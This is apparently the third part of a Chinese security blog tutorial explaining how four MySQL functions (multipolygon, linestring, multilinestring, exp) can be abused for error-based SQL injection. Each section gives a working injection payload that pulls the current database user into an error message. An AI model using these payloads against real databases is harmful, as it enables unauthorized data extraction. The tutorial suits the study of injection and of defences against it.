继续上一篇的内容,下面我继续讲解。

1、multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
十种MYSQL显错注入原理讲解(三)-RadeBit瑞安全

函数讲解:

multipolygon()是一种由Polygon元素构成的几何对象集合。

原理解释:

multipolygon()需要的是Polygon元素。为了显错传入字符串,所以报错。

2、linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
十种MYSQL显错注入原理讲解(三)-RadeBit瑞安全

函数讲解:

LineString()是具有点之间线性内插特性的Curve.

原理解释:

LineString(1 1,2 2) 这是它的用法。为了显错传入了,字符串....

3、multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
十种MYSQL显错注入原理讲解(三)-RadeBit瑞安全

函数讲解:

multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。

原理解释:

MULTILINESTRING((10 10, 20 20), (15 15, 30 15))这样用的。为了显错又把字符串传进去了。

4、exp()

select * from test where id=1 and exp(~(select * from(select user())a));
十种MYSQL显错注入原理讲解(三)-RadeBit瑞安全

函数解释:

EXP(x)函数计算e的x次方,即ex

原理解释:

EXP()肯定是需要数字的,传入个字符串必然显错。

 

到这里这十种就完结了,其实还有很多方法可以显错,不限于这十种。共同特点在于,传入非正常参数导致报错和查询嵌套。